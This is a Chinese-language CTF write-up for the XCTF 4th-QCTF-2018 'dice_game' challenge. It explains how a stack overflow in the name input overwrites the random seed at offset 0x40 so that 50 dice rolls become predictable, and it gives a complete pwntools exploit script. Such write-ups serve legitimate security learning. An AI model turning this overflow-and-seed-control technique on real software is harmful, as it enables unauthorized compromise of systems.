欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

XCTF 4th-QCTF-2018 dice_game

程序员文章站 2022-03-27 20:37:58
...

首先开一下保护XCTF 4th-QCTF-2018 dice_game除了canary什么都开了。。。
然后就打开ida分析:
XCTF 4th-QCTF-2018 dice_gameread函数造成了栈溢出漏洞。
继续审代码,发现是一个游戏。该程序首先让输入name,并且使用read来读入数据,故而此处存在栈溢出漏洞。下方看见程序使用seed、srand生成随机数。当我们猜对50次随机数时程序会调用sub_B28函数,从而得到flag.
XCTF 4th-QCTF-2018 dice_gameXCTF 4th-QCTF-2018 dice_game这个随机数咋办呢,,有栈溢出漏洞可以利用,所以就想着能不能将seed给覆盖掉XCTF 4th-QCTF-2018 dice_game我们可以看到栈里的情况,buf相对于seed的偏移是0x40,然后就可以控制seed使随机数固定,在自己写个c代码生成50个随机数就行了。
我们总结下思路:

获取flag<—调用sub_B28函数<—猜对50次随机数<—seed、srand生成随机数<—控制seed便可使生成的随机数固定<—通过栈溢出漏洞控制seed<–寻找buf与seed的偏移距离(ps:大佬的博客里写的,太明白了)

exp:

from pwn import *
p = process("./dice_game")
li = [4,2,5,6,3,6,5,4,5,5,6,2,4,6,5,3,1,1,4,5,4,3,5,1,6,6,1,5,6,4,2,1,3,4,1,6,1,3,1,6,6,1,5,1,4,3,4,5,4,1]
 
pay = "a"*0x40 + p64(6)
p.sendline(pay)
x = 1
for i in li:
	if x>50:
		break
	p.recvuntil("point(1-6):")
	p.sendline(str(i))
	x += 1
p.interactive()
相关标签: pwn